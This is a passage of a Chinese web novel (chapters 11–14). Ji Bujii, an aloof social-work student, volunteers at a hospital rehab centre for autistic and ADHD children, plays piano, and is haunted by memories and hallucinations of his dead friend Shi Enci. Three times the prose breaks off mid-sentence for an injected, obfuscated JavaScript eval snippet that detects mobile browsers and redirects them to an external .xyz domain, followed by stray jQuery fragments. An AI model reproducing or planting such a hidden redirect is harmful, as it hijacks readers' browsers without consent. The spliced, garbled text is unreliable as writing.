印象中,时恩赐后来没再说话。
可在梦里,他耳朵一动,听到时恩赐一字一顿道:“羞愧的难道不该是你么?”
声线幽冷冰凉,宛如自地底而来。
季不寄乍然惊醒,胳膊压得麻痹,仿佛有无数细小的电流爬过。窗外一片漆黑,待机界面显示时间为凌晨三点,他又一次梦到了时恩赐。
很久以前,不知从哪本杂志上瞥见过这样一个传言——如果连续梦到一个人三次,就是缘分尽了。
他还有一次机会。
季不寄的大脑胡思乱想着,调整了个睡眠姿势,识海浮沉间再度昏昏睡去。
这次,他在半梦半醒时感觉有人拽住了他的耳朵,恶狠狠地喊道:“季不寄,不许迷信!”
翌日早上,唤醒季不寄的是保安大爷的开门声。携着雨丝的晨风一同灌进小屋,他打了个寒颤,从睡梦中剥离开来。
窗外雨依旧下着,这场绵密的夏雨生命力远比时恩赐长多了。
大爷见他趴在木桌上,问:“咋在桌上趴着,你不会在这儿凑合了一宿吧?”
季不寄摇摇头:“没有,早就醒了。”
“那你还不走?今儿不是周一?有课没?”大爷赶他离开:“你又没有做我接班人的打算,快回去喽。”
季不寄站起来,胃在一瞬间拧起一股蔓延神经的疼痛,他面不改色地戴好帽子,正欲离去,再度被大爷拦住。
“外边雨还没停,你拿上伞。”大爷把手里拎着的袋子递给他:“家里还有好几把,你拿去用吧。”
老人特意为他从家里带来的雨伞,他不好意思拒绝老人的好意,礼貌道谢,伸手接过袋子,却发现重量沉甸甸的。
他掏出上边的伞,底下似乎还装有什么瓶瓶罐罐,颇有重量。他腾不出手,遂撑起伞先坐上了返校的公交。
上了车,季不寄收起雨伞,翻了下底下的东西,居然是一罐蜂蜜。蜜液浓稠,于暗淡的车厢内呈现出晶莹的浅琥珀色,他轻轻一晃,蜂蜜拉出的银丝挂上玻璃瓶内壁。
是一罐品质纯正的好蜜。
11. 黑涩会保镖季不寄
某甜食爱好者曾跟他说过,温水化三勺,口味最佳。
季不寄冷绷着的面色软了些,将蜜罐放回袋子。
改天得再去一趟湖西公园。
恰逢其时,一通电话打来,季不寄开了静音模式,隔了几秒才注意到。
接通后,对面青年爽朗的声音响起:“你终于接电话了,我还以为你出事了呢,微信也不回个消息。”
仍在公交车上,季不寄放低音量简单解释了两句。
他玩游戏的时候,那莫名其妙的软件总会给他打开后台的免打扰模式,季不寄试了几次不知道怎么关,便索性任由其在自己手机上耍流氓了。
朋友以为他是玩游戏找的借口,吐槽道:“我天天在公司累死累活,你倒好,天天爽玩。老实交代,昨晚几点睡的?”
“十点多吧。”季不寄已经记不清了,随口报了个时间。
朋友一秒击破他的谎言:“十点多?我看是十点多三四个小时吧。”
见季不寄又选择了闭口不言的消极应对大法,他语重心长地劝道:“不寄,我知道你受到了很大的打击,但你不能自暴自弃天天躺着啊。你这四年来就挂了这一科,你可是专业第一,跟老师求求情不行吗?”
季不寄按按鼻梁:“刘昂,你知道我不会这么做。”
好巧不巧,刘昂刚挂断电话,他便收到了导师发来的微信。大三的学生们暑期有实习任务,导师见他留校,横竖无事,遂要求他跟随去一家医院的儿童康复中心干活。
他有过在医院的实习经验,对医务社会工作算是有些本科生浅显的了解。季不寄回复了导师的微信,心下困惑他怎么突然想起来会联络自己,毕竟他导算是在他们那所二流学校里颇有名望的老教授,平日光是组里研究生就有够他忙的。
他马失前蹄不幸挂科,给师门抹黑,导师知晓这事,却仅是前段时间在微信上发了句,放慢节奏。
这次被分配到医院实习的学生只有两个学弟,不知为何,八竿子打不着的他导师也出现在了群里,顺带把他也拉了进来。
实习当日,季不寄早早在医院门口等待。见导师远远地走了过来,身旁跟着一个自来卷的学弟帮她拎包,估计是路上碰见的。
有几个月没见了,导师把头发染得黝黑,白衣穿得笔挺,他冲导师点了点头,道了声,老师好。
导师抬眼,看到他绷着脸站在门口酷似□□保镖的模样,举起手来,似乎是想打他的头:“老师好,老师好什么好,你就没有套顺眼点的衣服?”
社工专业的老师亦或学生,学久了皆带有一股和善祥和的气质。
除了季不寄。
他身着黑衣黑裤,脑袋上扣个鸭舌帽,整个人散发着拒人于千里之外的气息,毫不怀疑他这一进去,自闭症小孩都得吓哭。
季不寄干站着,等导师打他,发现导师没上手,低头道:“我就这身干净的衣服。要不,我下次去广场发传单的时候,把玩偶服穿来?”
“你……”知命之年的导师两眼发黑。
超过原定时间五分钟,自来卷学弟正要给同学打电话时,另一位学弟才姗姗来迟。他跑得很急,喘着粗气,手里还攥着个三明治包装袋。
“对、对不起!我没赶上那班车。”他扶了扶圆眼镜,连忙朝那位年长的老师道歉。
负责他们实习的自然不是学校老师,导师提点了他两句,没说重话。
三个学生跟着社工组织的督导进了儿童康复中心,他们事先查阅资料,已经讨论出几套自认为可行的小组活动方案。
然而简单交流过后,督导毫不犹豫地否决了他们的想法。医院开展小组活动并非易事,特别是在儿童康复中心,一切行事不仅要考虑儿童的具体情况、所处环境的可行性,还要取得儿童监护人的充足信任。
这边的小组成立数月,先后举办过几次读书分享会、手工制作等活动,效果皆不理想。
“那开展破冰游戏,举办音乐会呢?”季不寄观察着室内的设施,霍然问道。
他注意到这里的孩子多为自闭症患者,具有不同程度的沟通障碍,纯粹的交流活动对他们而言过于困难,手工制作又很难激起他们的情感互动。
音乐治疗对自闭症儿童而言是一项较为合适的干预手段。小组活动时,节奏感明显的音乐或许可以触动孩子们的心灵,最大限度调动起他们的积极性。
“音乐会……”主管琢磨着,觉得有几分尝试价值。康复中心恰好摆有几件大小不一的乐器,如今储物室内也堆放着一些过节时添置的物件。
季不寄随身带着笔电,见主管开始考虑,遂打开屏幕将一个文件传至其邮箱:“我做了一套活动计划书,你可以查看一下。”
主管掏出手机,从头到尾地扫了一遍,文档写得清晰明了,针对性强,显然不是复制搬运的过往案例。他抬起头,正眼一看,对这位个性分明的学生忽升起一丝熟悉感。
“你之前是不是来过我们这儿?”他问季不寄。
季不寄态度不卑不亢:“我去年在这家医院实习过,不过不是这里。”
主管的记忆逐渐复苏,这小孩确实是曾来这实习过,当时还剃了个寸头,第一天来的时候冷若冰霜地挨个房间转了一圈,遭到了不少投诉。
不过后来,他特别招妇女们喜欢,还收到了一顶色彩明艳的针织帽。
主管简明扼要地跟另外俩学生交代了几句,随后带着季不寄单独走了。两个学生面面相觑,在娱乐室干瞪眼。
自来卷问:“那家伙是谁?这儿不就俩名额吗?”
带圆眼镜的男生愕然道:“你不知道他?他是季不寄啊,前段时间的论坛风云人物。”
“什么怪名字?”自来卷深感怪异,他两耳不闻窗外事,压根不懂这些同学间的八卦,还真以为季不寄是个什么厉害人物:“他发期刊了?”
圆眼镜连忙摆手:“不是不是,他啊,据说是走后门的。”
他压低声音,将论坛上吃来的瓜通通喂给自来卷,听得对方一愣一愣的,半晌才道:“那他成绩怎么样?”
“我天,你怎么只关心这个?”圆眼镜被这书呆子朋友整得瞠目结舌:“这我哪知道,八成都是走的捷径吧?”
自来卷不太愿意相信院里会有这歪门邪气,但又不得不信。
医院实习能收获许多经验,但名额只有两位,系里的学生们大部分不愿被分配到太水的地方实习,所以在填写志愿之前很多人主动去争取来医院的机会。
除却绩点还需要有过硬的实力,一套流程敲定下来实属不易。而季不寄却这么不吭不响地被塞到了实习名单里,不是走后门还能是什么?
总不可能是闲的没事干,来这儿参与义务劳动。
“孩子们一点钟到。”
门后猝然响起一道波澜不惊的声线。
他们搁这儿嚼人耳根,正主出现在身后冷不丁地吓他们一跳。圆眼镜看着季学长走入房间,不确定他听到了多少,心惊胆战地等
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780820|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他发落。
季不寄神色淡然:“愣着干什么,把房间布置一下。”
两个学弟忙站了起来,他们和之后到来的社工一起收拾了房间,将储物间的一些乐器和道具搬进娱乐室,中间腾出很大一片空地。
下午一点,孩子们由监护人带着陆续抵达,他们被家长打理得衣着整齐,面上却一片空洞,这些都是自闭症儿童。
几个实习的学生依照督导的吩咐,着手举办小组活动。大多数孩子的反应冷淡,对热情洋溢的工作者的话语充耳不闻,很多事情需反复强调方能进行下去。
圆眼镜渐渐失去了耐心,发完水彩笔不禁对一个孩子抬高了音量:“不要把笔盖放进鼻孔里,很危险的,你知不知道?”
孩子似是觉不出他压抑的怒火,待圆眼镜把他左边鼻孔里的笔盖掏出来时,把另一只笔盖塞进了右边的鼻孔。
他们一来一回已经重复了好几次,圆眼镜简直拿他没辙:“你也不是听不清我在说什么,都跟你说了不要把它塞进鼻子里。”
一旁的季不寄倏忽插嘴道:“把笔盖放桌子上,所有的。”
他重复了一遍,那小孩听完他的话,当即将笔盖老老实实地放回桌面。圆眼镜大吃一惊:“不是,他怎么就只听你的话?你和他连上脑电波了?”
季不寄面无表情,但眼底依稀闪过一丝无奈:“你不能用反问句和否定句跟他们交流,刚刚那句话对他来说,可能捕捉到的指令仅有‘塞进鼻子’这一碎片信号。”
圆眼镜一怔,全然未考虑到这一层。
忽然之间,一个小孩碰倒了桌上的牛奶,洒了季不寄满身。
身旁的医务社工发现他的衣服已经湿得不能要了,忙道:“你没事吧?那边更衣室还有新的制服,你快去换一身。”
湿漉漉的奶渍浸在衣服上着实不好受,季不寄应了声,起身去更衣间。
这里的更衣间并不大,室内的一角设置了储物柜,里边有一些备用的工作服、鞋套和一次性手套等物品。
季不寄蹲下身,打开矮柜的门,找出一套崭新的白色工作服。刚一站起来,蓦然觉出异样。
他是出现幻觉了么?
储物柜的旁边有一面全身镜,季不寄的余光瞥到了镜像里,居然有第二个人的身影。
容貌昳丽的青年慵懒地倚靠在墙边,手指玩弄着颈边的碎发,近乎戏谑地打量着他。
季不寄想,自己兴许该去看心理医生了。
他面无表情地无视掉角落里的异常,双手交叉,脱掉洇湿一片的上衣。
暴露在空气中的身形修长,肌肤冷白,此刻被浸透的奶渍染得湿润,泛起一层淡淡的光泽。
角落的视线并未因他的无视而降低存在感,那道目光犹如实质,一寸寸攀上他的肌理,令季不寄感到有些不自在。
他压制住怪异的感觉,快速擦干胸前的牛奶,液体顺着小腹滑进了身下,他套上工作制服的上半身,去脱底下的裤子。
这段时间,时恩赐总是出现在他的梦中,如今连现实生活里都不肯放过自己。
季不寄低着头,解下裤子,胡乱往身上套,耳畔传来一道轻快的声音。
“季不寄,你好像没擦干净,要不要我帮你?”
他的呼吸一滞,仿若被攫住了般,系上裤子的纽扣,缓缓呼出一口气,望向角落里作妖的金发青年。
过去分离的四年,他从未产生过幻觉。
直到这个该死的混蛋真的死了。
12. 巫毒娃娃
破冰游戏进行到尾端,后边进来了两位年长者,一位是上午同他们一起来的同校老师,另一位是谁,圆眼镜倒有所不知。
他趁闲暇功夫,晃了下身边的同伴,窃语问道:“后边来了个不认识的,那人是谁?也是老师?”
自来卷不露痕迹地扭头打量了一眼,回答道:“那好像是日光大学的教授,记得是个学术界大佬,以前来咱们学校做过讲座。”
“我去,他来干什么,督工啊?”圆眼镜顿感紧张。
自来卷摇头道:“不知道,但咱们表现好点准没错。”
“也是,一会儿咱去他面前刷刷存在感,万一哪天被大佬带着起飞了呢。”圆眼镜很有想法。
这时,季不寄从更衣间回来了,神情云淡风轻,只是稍急的呼吸频率打破了他表面维持的假象。
先前那位社工道:“诶呀,你着什么急,慢慢换呗,这里人手充足。”
季不寄不想再在那间房里多待一分一秒。
“我一会儿有任务。”
说罢,他走到先前泼自己牛奶的红帽子小孩面前,那男孩一进来就叽叽喳喳地抓着身边人扯东扯西,和周遭的自闭症儿童格格不入。
季不寄起初还以为是个身心健康的普通孩子,兴许是某位工作人员家的,可如今察觉到些许异样。
那孩子情绪不稳定,做事冲动,性格虽积极但完全听不进去旁人的言论,在进来之初还拿着一根笔写写画画,没过一分钟便撂下笔去打断旁边两个孩子的交流。弄乱了地板上的坐垫,他又去拾地上的绘本,尚未集中注意力看进去几行字,就撕下了书页。
他才一靠近,顷刻间,被男孩叠的纸飞机砸了个正着。
这是一个典型的ADHD患者,注意力缺陷多动障碍,又称多动症。
他拾起怀里的纸飞机,发现那孩子已经把精力投注于别的地方去了。他走近红帽子,将纸飞机递给他,小孩没接,像是没看到。
他遂把纸飞机送到小孩眼皮子底下,搭配上言语信号:“拿着,你的飞机。”
小孩这才有了回馈,接过纸飞机,张张嘴巴欲要道谢,可注意力再度被窗外的飞鸟骗走了。
“好看吗?”季不寄问他。
小孩视线不断跳跃着,回道:“你问哪个?”
季不寄不知道他的目光投向哪去了:“你现在看的那一个。”
小孩看向他,答非所问:“你愿意听我讲话吗?我在想今晚上还用不用写家庭作业,我妈给我布置了好多啊,爷爷带我出来玩,但我回去还得写。”
“你上几年级?”季不寄平静问道。
他并没有搭理季不寄,自顾自地说着:“我今天上课又被老师骂了,我好膈应那个老太婆,天天丢我粉笔头。”
季不寄问:“你为什么会被骂?”
红帽子小孩仍旧是处于单机输出模式:“我真搞不懂为什么她要强迫每个人都听她讲话,她难道不知道吗?越是强迫我集中注意力,我就越是听不进去她的讲话呀。”
他这次的回复勉强算是和季不寄的提问沾点边,季不寄猜到他是因开小差被老师指责,遂道:“她讲——”
他打断季不寄的话,继续宣泄着:“一节课我能连续走几千次神!几乎每隔两秒我就会走神一次,我真的快疯了,她就不该管我,这样我还能好受点。”
季不寄注意到他在蹂躏手上的纸飞机,抓住他出汗的小手,看着他的眼睛问道:“你崩溃的时候有没有撕过书?”
红帽子自进屋起便停不下来的小动作终于一滞,回应了季不寄的问话:“你怎么知道?”
这话题似乎是对他有足够的吸引力,能够短暂地将他四散的精神聚拢。
“我猜的。”
红帽子大声道:“我在教室里大家正上课的时候,一下子站起来把书包里所有东西撕了个粉碎!”
一旁的两个大学生听到些他俩的对话,只觉得怪异极了。社工本是项提供情绪价值的工作,但季不寄压根没有情绪,红帽子小孩恰好情绪丰富,他们才能将对话进行下去。
季不寄沉静地倾听他诉说,小孩张张嘴巴,正想要多讲一讲这件事,房间中央担任主持人的工作人员乍然道:“游戏时间结束啦,咱们现在进入下一个环节!小朋友们期待不期待呀?”
他灵动地翻了个白眼,对这里针对自闭症的活动并不感兴趣,扭头转向季不寄,却瞅见他站起身走到了房间前边的钢琴旁。
主持者活泼地渲染气氛:“接下来,由咱们湖西大学的一位大哥哥给大家带来一段欢乐的钢琴曲演奏!”
小朋友们或是主动或是被引导着鼓起掌声,季不寄落座,面对黑白分明的琴键,摘下帽子。
略微低头,乌黑发丝倾落,他下意识地将头发撩至耳后,动作做到一半,他停顿一瞬,抬起的手臂旋即落在琴键上。
季不寄的钢琴是在时恩赐家学的。
像他这样的原生家庭,不会提供学习任何多余技能的机会。
两人同桌的某日,时恩赐枕着书包抱怨不想回家。季不寄问他怎么了,他说,家里新请了一位钢琴老师,他妈势必要给他陶冶陶冶情操。
季不寄不理解他的痛苦,在他的概念里这是一种成本极高的爱好,一台钢琴大抵上万,培养时期的课程价格估计也十分高昂。他仅在电视剧里看过里边的人物在钢琴前指尖翩跹,姿态优雅高贵,基本符合季不寄对上流社会的初印象。
“学钢琴不好吗?”他托腮问时恩赐。
“当然不好了——”时恩赐盯着他脸边托起的肉肉,目光攀到旁边骨节分明的手上,猝不及防坐直身体:“你要不要学钢琴?”
季不寄一怔:“哈?”
时恩赐径直拉过他的手,翻来覆去观察道:“手指修长,关节突出,是一双学钢琴的好手!季不寄,来我家一起学钢琴吧。”
于是,季不寄就这样被他软磨硬泡地拐回家,做起了“太子陪读”。
时恩赐跟母亲说,季不寄不学他就不学。时母曾在校门口的表彰牌上看到过无数次季不寄的照片,知晓这孩子是学校的年级第一,性格沉静早熟,初见甚是喜爱,便添了蒋木的薪资,让她带两个小孩一块儿学。
学了一段时间,时恩赐没掀起什么浪花,不常去的季不寄倒是在这方面显露出不凡的天赋。他专注力强,练琴听曲时心无旁骛,弹上几遍就能把一首复杂的曲子快速学会。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780821|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时恩赐听他流畅地弹完一首8级的曲子,诧异道:“你真的不去考级?”
“不去,太贵了。”季不寄边收拾书包边说道。
时恩赐争取道:“我帮你报,这么好的天赋别瞎了。”
“没必要,我又不是艺术生。”季不寄无动于衷,他拎起书包,要走时,忽不着痕迹地笑了:“我做什么没有天赋?”
时恩赐凝视着他面上流露出的一丝浅淡笑意,与以往寡淡的神情不同,微妙且倨傲。季不寄是不折不扣的天才,这体现于学习的方方面面,仿若一台行走的人形计算机,以人类无法媲美的速度运转着。
时恩赐喜欢他的这个笑容,他拉了拉对方的脸颊,故作疑惑:“明明手那么笨?”
“这不一样,音乐是有逻辑关系的,把握好它们之间的规律,复刻出来不算难事。”季不寄被他没轻没重地拉扯着,吐字模糊:“但缝一只娃娃真的很难。”
“所以你就给我缝了只巫毒娃娃?”时恩赐指指书架上摆着的小人玩偶,肢体黢黑,眼睛部位缝了两个血红色的叉,那是季不寄送他的生日礼物,不知道的还以为这是特级咒物。
“我照着教程一步步来的。”季不寄微微蹙眉,他倏然想起来上周回家时发现的事情——针线盒里少了一根针。
他的目光有意无意地掠过书架:“你今晚有事吗?我想多留一会儿。”
时恩赐第一次听到他主动说要多留,眼睛弯成月牙:“当然没有,你干脆在我家过夜吧。”
季不寄的主要目的是趁他不注意时检查一下娃娃里有没有落下一根针,并不是真想在他家久待,刚打算拒绝,发现时恩赐的表情变了。
“我父母今晚不回来,我一个人很害怕。”他低着头,轻声道。
纯黑的长发遮挡住面部的大半表情,季不寄注意到他把唇瓣咬得发白。
“我今晚睡哪里?”
他问时恩赐。
时恩赐说:“当然是我的房间,不然你还想去我爸妈的卧室睡吗?”
季不寄感觉不是这么回事,偌大的时家别墅总不能连一间客房都没有,他动动嘴唇,欲要驳回,又转念一想,这岂不是更方便他接近摆在时恩赐房间里的娃娃了?
于是他颔首同意了。
当晚,两个人洗完澡换上睡衣,躺在床上。时恩赐一声不吭地玩着手机,季不寄问他:“你在玩什么?”
他停下打字的手,息屏,道:“没什么。”
季不寄想,他应该是在和别人聊天。他不希望他再和他的其他朋友聊天了,时恩赐应该快些入睡,不然在时恩赐睡着之前他就先睡着了,还怎么去偷那只娃娃。
“我们睡觉吧。”季不寄提议道。
时恩赐似乎是被他说的某个词取悦了,愉快道:“好的,我们一起。”
季不寄掀起被子蒙住他的脑袋,自己另找一床被子盖上,安安静静地闭上眼睛,听着旁边人的呼吸声逐渐均匀。
约莫两个小时后,眯了一小觉的季不寄再度睁眼,他蹑手蹑脚地钻出被子,脚尖踩上地板。寂静的房间仅能听到夏季的空调运作声,以及钟表的咔哒声。
下一秒,他被床上的人叫住:“去哪?”
13. 弹个钢琴
正常来讲,起夜的人要么是口渴了要么是要去上厕所。然而季不寄做贼心虚,紧张的话脱口而出:“我去钢琴。”
“我去、钢琴?”时恩赐念了遍他的话,怀疑他旧疾复发,又不会说话了:“睡不着?”
窗帘半拉,月光透过高高的落地窗洒在地板上,季不寄光着脚,点了点头。
时恩赐猛地坐了起来,眼睛亮晶晶的:“正好我也睡不着,你给我弹钢琴吧!”
钢琴就摆在他房间的窗边,季不寄没有拒绝,他走到书架前,手指悬于一本本琴谱上,问时恩赐要听哪一首。
时恩赐躺得头发有些蓬乱,头顶呆毛乱飞,坐在黑暗中像只森林里的小精灵。精灵弯起嘴角道:“你还需要琴谱?”
季不寄正好不想开灯,他坐于钢琴前,清冷的声音流转在空气中:“那我随便弹,你随便听。”
“哦——那作为补偿,你要给我弹到天亮。”时恩赐蛮不讲理道:“我要你陪我一起看日出。”
“什么的补偿?”
“巫毒娃娃。”时恩赐举起一根手指,上边包裹着一圈创可贴:“它把我扎得很痛。”
季不寄对上他佯装委屈的面容,明白他这是早就发现了:“……我把针忘在里边了。”
“笨。”时恩赐笑眼盈盈,并不计较。
盈盈月色落于少年单薄笔挺的脊背上,季不寄按响了琴键,一首接一首悦耳的乐曲自指尖流出。
时恩赐不喊停,他就不停,一连弹了数曲,曲速渐缓。最后“砰”的一声,季不寄一头栽倒在琴键上,音符杂乱无章地跳动,却不影响他沉沉睡去。
——
比起高山流水的雅乐,节奏感强、欢快明朗的歌曲更适合这些特殊儿童。季不寄起手弹了几首简单的儿歌,许久不碰钢琴,他有些生疏,触碰琴键的一瞬,过往练琴的记忆宛如潮水向他涌来。
儿歌终了,他切了一首La la land。断断续续学钢琴的短暂两年间,他所接触的乐曲并不多,这首曲子前半段轻盈温暖,高潮部分却喜悦激昂,最终以温柔的余晖收尾,季不寄认为很适合弹给这群孩子听。
最重要的是,那一夜,他把这首翻来覆去弹了五遍有余,已深深烙印于脑海之中。
他全然不觉听众的反应,将曲子自然奏出,喜悦的旋律汹涌澎湃,尾声的柔情徒留回味。季不寄自始至终神情淡然,无人知晓他在这一曲中闪过了两年时光。
室内再度陷入安静,他默然起立,回到座位,那个红帽子小孩从头听到尾,没有走过一次神,似乎难得拾回了片刻的精神。
路过两位学弟时,他听到那个圆眼镜的学弟嘀咕道:“这么喜庆……这不是有情绪吗?”
他还是第一次被人评价喜庆,插兜坐下,一旁的红帽子小孩主动靠近了他:“你……”
“坚持听下来了。”季不寄对他道。
小孩点点头,骤然道:“你在难过吗?”
季不寄呼吸一滞。
“你刚刚那首曲子明明弹得很悲伤。”
季不寄确定他没在这小孩的耳朵里单独奏曲。他错愕于孩子的敏感,俄而才承认道:“是有一点。”
那夜他们终究是没能看到日出。
睁眼醒来时已是上午,他不知何时挪到了床上。冷气开了一宿,室内连空气都是凉的,季不寄在被窝里翻了个身,便看到时恩赐近在咫尺的精致睡颜。
在校园里,小少爷总是被许多人簇拥着,身边永远热热闹闹,暗恋他的女孩子能绕操场环一圈。唯独在私下他俩独处时,时恩赐才会露出恬静的一面。
时恩赐……最近是不是谈恋爱了呢?
季不寄心头忽闪过这一念头,他说不上来自己为什么会这样想,兴许是因为时恩赐昨晚玩手机冷落了他。
他的视线攀上床头柜充电的手机,一部轮廓线条流畅的浅白色手机,不大不小的方盒里,藏着时恩赐的秘密。
他爬起身来,空调冷风钻入被窝,季不寄的手臂越过时恩赐酣睡的脸,小心翼翼地避免碰醒他,手径直伸向床头柜的方向。
是隔壁班的那个舞蹈生?还是他们班坐后排的英语学霸?也有可能是昨天下午放学时约他吃饭的那个学姐。
短短几秒间,他胡思乱想着,手悬在离手机不足十厘米处,蓦地停了。
他没有权利窥探时恩赐的任何隐私。
“早~”身下,时恩赐迷迷糊糊地睁开了双眼。
季不寄猝不及防被他吓到,手一抖,身子失去了平衡,上半身压在了他的身上。
被砸了个正着,时恩赐含糊不清地发出一声“哇”,抓住季不寄的手臂。
季不寄此刻和他超近距离接触,脸埋在他耳侧的枕缝里,还没编好解释的借口,时恩赐率先启齿道:“季不寄,你手好冰。”
他撩起被子,把季不寄的冰手揣进自己暖乎乎的被窝里,手按在季不寄的后脑壳上:“一会儿去吃早餐。”
季不寄仍压在他身上,这下时恩赐就盖了两床被子外加一个季不寄,可他丝毫不觉得不对劲,抱着人又欲睡去。
别墅区各户相隔甚远,清晨极其宁静,窗外仅有树上的鸟儿偶尔鸣叫几声。
季不寄跳过这一话题,问红帽子小孩:“你呢?感觉怎么样?”
“我感觉有一群小精灵在挥舞球棒,我的想法就像是被挥出的球,直到它消失不见,我都来不及理解它。”小孩道:“但哥哥,你刚刚的音符把小精灵兜走了。”
季不寄被他异想天开的比喻整得想笑,小精灵……亏他能想得出来。
这一场小组活动结束,小孩们陆陆续续被监护人接走,社工们开始收拾场地。后排两位倚着墙角聊天的老师将一切皆纳入眼底。
“刚刚弹琴那孩子是你们学校的?”日光大学的教授问旁边的人。他同季不寄的导师是旧交,近日从澳洲的学校交流回国,约了晚上的一顿饭。
导师道:“对,这学生是我们系第一,大四的,叫季不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780822|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寄。实习在大三就满500小时毕业要求了,今天就是来帮忙的。”
老教授若有所思。
这学生乍一看不像是个善茬,孩子们都怕他,他却以游戏为媒介,调动起孩子们的兴趣。同时自身的沉默寡言,反倒成为了满足小孩倾诉欲的优点,进而锻炼他们的口语表达能力。话虽不多,但句句到位,一步步引导孩子们自己解开心结。
老教授钻研学术多年,主要研究方向包括儿童与家庭社会工作、社会福利政策等领域,却更加看重学生的实务能力。
“他定下来毕业去哪了吗?”老教授闲聊似的问身边的老友。
季不寄的导师笑了笑:“没,他延毕了。”
“延毕?”老教授出乎意料,这么好的苗子,怎么就给延毕了?
“他有门选修课的期末考试没去,那老师就给他按挂科处理了。我跟你讲,那宋老师啊……”导师解释着,压低声音道:“真是特古板一老头。”
一提“宋老师”,老教授也笑了。
“这下影响可不小。”他喟叹道。
话音刚落,两个完成督导布置的任务的学生走了过来。导师对这俩学生都有印象,自来卷的那小孩以前选过他的课,是大三这级拔尖的学生,今早偶遇帮他拎了一路包。戴圆眼镜那男生成绩不知如何,不过实习第一天就迟到,想来是态度不到位。
“老师好。”圆眼镜先是跟较为熟悉的老师打了招呼,随即转向另一位老教授:“您是......”
自来卷觉得奇怪,他刚不是才跟圆眼镜介绍了这位的身份吗?
“他是日光大学的李教授呀。”他用不大不小的声音说道。
“居然是那位李教授吗?李教授好,太意外了,我真的很崇拜您。”圆眼镜热切道。
自来卷更诧异了,几小时前他明明还不知道这位李教授是谁,怎么一下午的功夫就崇拜上了呢?
德高望重的李教授不端架子,对两位学生略一颔首。
导师问他俩:“感觉怎么样?”
“我终于对您之前课上讲的东西有深刻感悟了。”自来卷思索道。
圆眼镜也道:“对,没错,您课上说的太有道理了。自闭症的孩子很难管教,和他们交流得费老大功夫。我俩今天虽然遇到了不少麻烦,但该做的工作都完成了。”
导师“嗯”了一声,不吝夸赞道:“你俩今天做得不错,辛苦一天了,回去好好休息吧。”
话已至此,两个学生本该离开了,可圆眼镜却多言道:“我们俩是辛苦了,可那位莫名其妙跟过来的学长光带着活泼小孩玩了,摸了一天鱼。”
他知晓这位老师在院里是出了名的平易近人,心里不平故意倒了苦水。可他不知,这“莫名其妙”跟过来的学长正是导师提前打招呼带来的。
“公布的实习名单里没有他的名字。”导师轻点道。
然而圆眼镜没听明白他的言外之意:“那他不就是走了后门吗?怎么会有这样的人?”
14. 为什么就是不懂呢?笨蛋
自来卷却是反应了过来,实习名单里没有季学长的名字,岂不是说他这一趟得不到任何好处?明明不是正式招来的实习生,却替他们改进起初的方案,推动这次活动的开展,事先做了如此充沛的准备。
果然,导师无奈道:“是我让他过来的,他实习时长早够了。”
圆眼镜表情愕然,面露尴尬。李教授心知肚明,却不点破。
就在这时,季不寄拉着红帽子小孩的手走了过来。他似乎没听到之前的对话,朝自己的导师点了下头,对旁边的白发老者道:“我想联系一下他的家庭,你就是他的家长?”
李教授原本就对他有兴趣,没想到这小子先找上门了:“没错,我是李鸣邱的爷爷,有什么事吗?”
季不寄不知道他是学术界赫赫有名的李教授,只觉得他们家庭的教育环境出了问题,直白道:“ADHD除了生理病因外,还会有家庭心理因素。你家孙子长期在家中过于压抑,在校又遭受苛责,这会导致小孩的心理紧张,情绪无法释放。他的这些表现绝对与你们的家庭教育有极大联系。”
李教授一愣,他这是反被学生教训了。
李鸣邱的家庭教育从小到大都是孩子爸妈负责,这对夫妻有着含金量不菲的学历和学识,对孩子更是寄予了望子成龙的厚望。待李教授察觉到异样时,孩子的病症已经严重影响正常生活了。
听闻这里有医务社工建立的专门小组,他遂带这孩子来了这儿的儿童康复中心看看。如今看来,这一趟来得很值。
说来奇妙,李鸣邱的病就像一台鼓风机,把正常的精神吹得四散。而季不寄却恰好能成为一张密网,兜住他转瞬即逝的注意力。
“身为家长,你既然带他来了这里,回去后也该承担起照顾他的责任。”季不寄蹙眉道。
“我明白了,回去就和他的父母好好沟通。”李教授应声道,被后辈指责了也不恼火。
导师中途就想插嘴,给他介绍一下这位老者的身份,未曾想季不寄只爱幼不尊老,迎面就是一张臭脸。一边杵着的两个学生哑口无言。
季不寄把孩子交给李教授,转头对导师道:“这次活动的总结报告我回去后交给您。”
李教授对他道:“发邮件时给我抄送一份。”
季不寄有些奇怪,他之前从未见过儿童监护人提出这种要求的,学生公式化的总结报告对他有意义么?他要打印出来贴墙上开家庭会议?
导师看自家学生如此不通人事,赶紧见缝插针地介绍了这位老教授的身份。
